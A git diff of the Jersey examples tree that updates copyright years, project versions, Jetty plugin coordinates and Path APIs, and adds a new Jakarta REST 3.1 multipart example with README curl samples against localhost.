@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>json-jackson</artifactId>
diff --git a/examples/json-jackson1/pom.xml b/examples/json-jackson1/pom.xml deleted file mode 100644 index e69de29..0000000 --- a/examples/json-jackson1/pom.xml +++ /dev/null
diff --git a/examples/json-jettison/pom.xml b/examples/json-jettison/pom.xml index b59825a..454e4dd 100644 --- a/examples/json-jettison/pom.xml +++ b/examples/json-jettison/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>json-jettison</artifactId>
diff --git a/examples/json-moxy/pom.xml b/examples/json-moxy/pom.xml index 1424646..bf329e9 100644 --- a/examples/json-moxy/pom.xml +++ b/examples/json-moxy/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>json-moxy</artifactId>
diff --git a/examples/json-processing-webapp/pom.xml b/examples/json-processing-webapp/pom.xml index ddbf757..9cb069b 100644 --- a/examples/json-processing-webapp/pom.xml +++ b/examples/json-processing-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>json-processing-webapp</artifactId> @@ -50,8 +50,8 @@ <build> <plugins> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/examples/json-with-padding/pom.xml b/examples/json-with-padding/pom.xml index 836cea3..f9aadcf 100644 --- a/examples/json-with-padding/pom.xml +++ b/examples/json-with-padding/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>json-with-padding</artifactId>
diff --git a/examples/managed-beans-webapp/pom.xml b/examples/managed-beans-webapp/pom.xml index 700bf51..39a2a31 100644 --- a/examples/managed-beans-webapp/pom.xml +++ b/examples/managed-beans-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>managed-beans-webapp</artifactId>
diff --git a/examples/managed-client-simple-webapp/pom.xml b/examples/managed-client-simple-webapp/pom.xml index b0c44ce..01bf6b3 100644 --- a/examples/managed-client-simple-webapp/pom.xml +++ b/examples/managed-client-simple-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>managed-client-simple-webapp</artifactId> @@ -36,8 +36,8 @@ <build> <plugins> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <webApp> <contextPath>/managed-client-simple-webapp/</contextPath>
diff --git a/examples/managed-client-webapp/pom.xml b/examples/managed-client-webapp/pom.xml index 84d614d..2c46380 100644 --- a/examples/managed-client-webapp/pom.xml +++ b/examples/managed-client-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>managed-client-webapp</artifactId> @@ -48,8 +48,8 @@ <build> <plugins> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <webApp> <contextPath>/managed-client-webapp/</contextPath>
diff --git a/examples/managed-client/pom.xml b/examples/managed-client/pom.xml index 573177b..589b75b 100644 --- a/examples/managed-client/pom.xml +++ b/examples/managed-client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>managed-client</artifactId>
diff --git a/examples/micrometer/pom.xml b/examples/micrometer/pom.xml index b536662..aa31d43 100644 --- a/examples/micrometer/pom.xml +++ b/examples/micrometer/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -16,7 +16,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-micrometer-webapp</artifactId>
diff --git a/examples/multipart-webapp/README.MD b/examples/multipart-webapp/README.MD index 672fda0..ef421c2 100644 --- a/examples/multipart-webapp/README.MD +++ b/examples/multipart-webapp/README.MD
@@ -1,4 +1,4 @@ -[//]: # " Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. " +[//]: # " Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. " [//]: # " " [//]: # " This program and the accompanying materials are made available under the " [//]: # " terms of the Eclipse Distribution License v. 1.0, which is available at " @@ -10,20 +10,23 @@ ========================= This example demonstrates how to develop RESTful web service with -demonstrating JAX-RS Integration with MIME MultiPart Message Formats and -an Jakarta EE 9 compliant Web container. +demonstrating Jakarta-REST Integration with MIME MultiPart Message Formats and +a Jakarta EE 9 compliant Web container. + +Please see also comparable example demonstrating usage of Jakarta REST 3.1 API for +MIME MultiPart Message Formats (JERSEY_ROOT/examples/rest31-sebootstrap-multipart) Contents -------- The mapping of the URI path space is presented in the following table: -URI path | Description | Sample request using curl ----------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------------------------------- -**_/form/part_** | POST message returning entire string | `curl -X POST -F "part=part1" http://localhost:8080/multipart-webapp/form/part` -**_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides - | | `curl -X POST -F "part=@pom.xml" http://localhost:8080/multipart-webapp/form/part-file-name` -**_/form/xml-jaxb-part_** | POST message returning xml jaxb part string. | No curl sample available, please check test sources. + URI path | Description | Sample request using curl +----------------------------|----------------------------------------------| ----------------------------------------------------------------------------------------------- + **_/form/part_** | POST message returning entire string | `curl -X POST -F "part=part1" http://localhost:8080/multipart-webapp/form/part` + **_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides +| | | `curl -X POST -F "part=@pom.xml" http://localhost:8080/multipart-webapp/form/part-file-name` + **_/form/xml-jaxb-part_** | POST message returning xml jaxb part string. | No curl sample available, please check test sources. Running the Example ------------------- @@ -32,4 +35,4 @@ > `mvn clean package jetty:run` -Following steps are using [cURL](http://curl.haxx.se/) command line tool: \ No newline at end of file +The sample requests are using [cURL](http://curl.haxx.se/) command line tool. \ No newline at end of file
diff --git a/examples/multipart-webapp/pom.xml b/examples/multipart-webapp/pom.xml index 06b3afa..2d39845 100644 --- a/examples/multipart-webapp/pom.xml +++ b/examples/multipart-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>multipart-webapp</artifactId> @@ -50,8 +50,8 @@ <build> <plugins> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/examples/oauth-client-twitter/pom.xml b/examples/oauth-client-twitter/pom.xml index 1cac7ba..bcaf015 100644 --- a/examples/oauth-client-twitter/pom.xml +++ b/examples/oauth-client-twitter/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -15,7 +15,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.examples</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java b/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java index 5d39bde..e0b6f77 100644 --- a/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java +++ b/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java
@@ -17,7 +17,7 @@ import java.io.OutputStream; import java.nio.charset.Charset; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import java.util.List; import java.util.Properties; @@ -145,7 +145,7 @@ private static void loadSettings() { InputStream st = null; try { - st = Files.newInputStream(Paths.get(PROPERTIES_FILE_NAME)); + st = Files.newInputStream(Path.of(PROPERTIES_FILE_NAME)); PROPERTIES.load(st); } catch (final IOException e) { // ignore @@ -178,7 +178,7 @@ private static void storeSettings() { OutputStream st = null; try { - st = Files.newOutputStream(Paths.get(PROPERTIES_FILE_NAME)); + st = Files.newOutputStream(Path.of(PROPERTIES_FILE_NAME)); PROPERTIES.store(st, null); } catch (final IOException e) { // ignore
diff --git a/examples/open-tracing/pom.xml b/examples/open-tracing/pom.xml index 4370892..5016652 100644 --- a/examples/open-tracing/pom.xml +++ b/examples/open-tracing/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>open-tracing</artifactId>
diff --git a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml index 6a7a6b9..50e374f 100644 --- a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml +++ b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>osgi-helloworld-webapp</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml index 7501550..c6b8e01 100644 --- a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml +++ b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>osgi-helloworld-webapp</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/functional-test/pom.xml b/examples/osgi-helloworld-webapp/functional-test/pom.xml index 8453b3a..e1695c2 100644 --- a/examples/osgi-helloworld-webapp/functional-test/pom.xml +++ b/examples/osgi-helloworld-webapp/functional-test/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>osgi-helloworld-webapp</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId> @@ -145,8 +145,8 @@ <scope>test</scope> </dependency> <dependency> - <groupId>com.sun.activation</groupId> - <artifactId>jakarta.activation</artifactId> + <groupId>org.eclipse.angus</groupId> + <artifactId>angus-activation</artifactId> </dependency> <!-- uncomment the following dependency to get ability to run felix console in the test --> @@ -204,7 +204,8 @@ <plugin> <artifactId>maven-surefire-plugin</artifactId> <configuration> - <forkMode>always</forkMode> + <forkCount>1</forkCount> + <reuseForks>false</reuseForks> <enableAssertions>false</enableAssertions> <classpathDependencyExcludes> <classpathDepenencyExclude>org.apache.felix:org.osgi.core</classpathDepenencyExclude>
diff --git a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java index 404c63d..cfd299d 100644 --- a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java +++ b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java
@@ -14,7 +14,7 @@ import java.io.IOException; import java.net.URI; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import java.security.AccessController; import java.util.ArrayList; import java.util.Arrays; @@ -228,7 +228,7 @@ try { - final BufferedReader reader = Files.newBufferedReader(Paths.get(felixPolicy)); + final BufferedReader reader = Files.newBufferedReader(Path.of(felixPolicy)); String line; final Set<String> cpiNames = new HashSet<String>();
diff --git a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml index dcd3cbc..fc73589 100644 --- a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml +++ b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>osgi-helloworld-webapp</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/pom.xml b/examples/osgi-helloworld-webapp/pom.xml index ea5cb87..dcfb3cf 100644 --- a/examples/osgi-helloworld-webapp/pom.xml +++ b/examples/osgi-helloworld-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>osgi-helloworld-webapp</artifactId> @@ -29,7 +29,7 @@ <profile> <id>securityOn</id> <activation> - <jdk>[1.8,24)</jdk> + <jdk>[11,24)</jdk> </activation> <modules> <module>war-bundle</module>
diff --git a/examples/osgi-helloworld-webapp/war-bundle/pom.xml b/examples/osgi-helloworld-webapp/war-bundle/pom.xml index 1249a34..9b0bd86 100644 --- a/examples/osgi-helloworld-webapp/war-bundle/pom.xml +++ b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>osgi-helloworld-webapp</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId> @@ -57,7 +57,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version><!-- the current project's ${servlet2.version} is 2.4 and that's not enough --> <scope>provided</scope> </dependency>
diff --git a/examples/osgi-http-service/bundle/pom.xml b/examples/osgi-http-service/bundle/pom.xml index 24cc2ed..3e0b865 100644 --- a/examples/osgi-http-service/bundle/pom.xml +++ b/examples/osgi-http-service/bundle/pom.xml
@@ -36,7 +36,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> </dependency> <dependency> <groupId>org.glassfish.jersey.containers</groupId>
diff --git a/examples/osgi-http-service/functional-test/pom.xml b/examples/osgi-http-service/functional-test/pom.xml index 762ba76..6e74fc8 100644 --- a/examples/osgi-http-service/functional-test/pom.xml +++ b/examples/osgi-http-service/functional-test/pom.xml
@@ -204,7 +204,8 @@ <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <configuration> - <forkMode>always</forkMode> + <forkCount>1</forkCount> + <reuseForks>false</reuseForks> <enableAssertions>false</enableAssertions> </configuration> <executions> @@ -238,9 +239,8 @@ </activation> <dependencies> <dependency> - <groupId>com.sun.activation</groupId> - <artifactId>jakarta.activation</artifactId> - <version>${jakarta.activation.version}</version> + <groupId>org.eclipse.angus</groupId> + <artifactId>angus-activation</artifactId> </dependency> </dependencies> </profile>
diff --git a/examples/pom.xml b/examples/pom.xml index 3710074..72695a3 100644 --- a/examples/pom.xml +++ b/examples/pom.xml
@@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <licenses> @@ -71,6 +71,7 @@ <!--<module>feed-combiner-java8-webapp</module>--> <module>freemarker-webapp</module> <!--<module>flight-mgmt-webapp</module>--> + <module>groovy</module> <module>helloworld</module> <module>helloworld-benchmark</module> <module>helloworld-cdi2-se</module> @@ -106,6 +107,7 @@ <module>oauth-client-twitter</module> <!--<module>oauth2-client-google-webapp</module>--> <module>reload</module> + <module>rest31-sebootstrap-multipart</module> <module>rx-client-webapp</module> <module>server-async</module> <module>server-async-managed</module> @@ -278,17 +280,9 @@ </resource> </resources> </build> + <profiles> <profile> - <id>GROOVY-EXAMPLE</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <modules> - <module>groovy</module> - </modules> - </profile> - <profile> <id>jdk17</id> <activation> <jdk>[17,)</jdk>
diff --git a/examples/reload/pom.xml b/examples/reload/pom.xml index fbb06f8..3341427 100644 --- a/examples/reload/pom.xml +++ b/examples/reload/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>reload</artifactId>
diff --git a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java index 8e922b7..e28fe2d 100644 --- a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java +++ b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java
@@ -18,7 +18,7 @@ import java.nio.file.Files; import java.nio.file.FileSystems; import java.nio.file.Path; -import java.nio.file.Paths; +import java.nio.file.Path; import java.nio.file.StandardWatchEventKinds; import java.nio.file.WatchEvent; import java.nio.file.WatchKey; @@ -72,10 +72,10 @@ try { watcher = FileSystems.getDefault().newWatchService(); - Path srcDir = Paths.get("src/main/java/org/glassfish/jersey/examples/reload"); + Path srcDir = Path.of("src/main/java/org/glassfish/jersey/examples/reload"); registerWatcher(watcher, srcDir); - Path configFilePath = Paths.get("."); + Path configFilePath = Path.of("."); registerWatcher(watcher, configFilePath); } catch (IOException e) {
diff --git a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/compiler/JavaFile.java b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/compiler/JavaFile.java index 2a789ff..5c2b57c 100644 --- a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/compiler/JavaFile.java +++ b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/compiler/JavaFile.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -14,7 +14,7 @@ import java.io.IOException; import java.net.URI; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import javax.tools.SimpleJavaFileObject; @@ -47,7 +47,7 @@ public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException { String filePath = path + File.separator + className.replace('.', '/') + Kind.SOURCE.extension; - final byte[] bytes = Files.readAllBytes(Paths.get(filePath)); + final byte[] bytes = Files.readAllBytes(Path.of(filePath)); return new String(bytes); }
diff --git a/examples/rest31-sebootstrap-multipart/README.MD b/examples/rest31-sebootstrap-multipart/README.MD new file mode 100644 index 0000000..804e7b6 --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/README.MD
@@ -0,0 +1,37 @@ +[//]: # " Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. " +[//]: # " " +[//]: # " This program and the accompanying materials are made available under the " +[//]: # " terms of the Eclipse Distribution License v. 1.0, which is available at " +[//]: # " http://www.eclipse.org/org/documents/edl-v10.php. " +[//]: # " " +[//]: # " SPDX-License-Identifier: BSD-3-Clause " + +Multipart Web app Example +========================= + +This example demonstrates how to develop RESTful web service with +demonstrating Jakarta REST Integration with MIME MultiPart Message Formats and +Jakarta REST EE 10 SeBootstrap functionality. + +Feel free to compare with pre-Jakarta REST 3.1 Jersey Multipart example (JERSEY_ROOT/examples/multipart-webapp). + +Contents +-------- + +The mapping of the URI path space is presented in the following table: + + URI path | Description | Sample request using curl +----------------------------|----------------------------------------------| ----------------------------------------------------------------------------------------------- + **_/form/part_** | POST message returning entire string | `curl -X POST -F "part=part1" http://localhost:8080/multipart-webapp/form/part` + **_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides +| | | `curl -X POST -F "part=@pom.xml" http://localhost:8080/multipart-webapp/form/part-file-name` + **_/form/xml-jaxb-part_** | POST message returning xml jaxb part string. | No curl sample available, please check test sources. + +Running the Example +------------------- + +You can run the example using Jetty as follows: + +> `mvn clean package exec:java` + +The sample requests are using [cURL](http://curl.haxx.se/) command line tool. \ No newline at end of file
diff --git a/examples/rest31-sebootstrap-multipart/pom.xml b/examples/rest31-sebootstrap-multipart/pom.xml new file mode 100644 index 0000000..a21ad15 --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/pom.xml
@@ -0,0 +1,107 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Distribution License v. 1.0, which is available at + http://www.eclipse.org/org/documents/edl-v10.php. + + SPDX-License-Identifier: BSD-3-Clause + +--> + +<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + + <modelVersion>4.0.0</modelVersion> + + <parent> + <groupId>org.glassfish.jersey.examples</groupId> + <artifactId>project</artifactId> + <version>3.1.99-SNAPSHOT</version> + </parent> + + <artifactId>rest31-sebootstrap-multipart</artifactId> + <name>jersey-examples-multipart-webapp</name> + <packaging>jar</packaging> + + <description>Jersey SeBootstrap Multipart example.</description> + + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-multipart</artifactId> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.core</groupId> + <artifactId>jersey-server</artifactId> + </dependency> + <dependency> 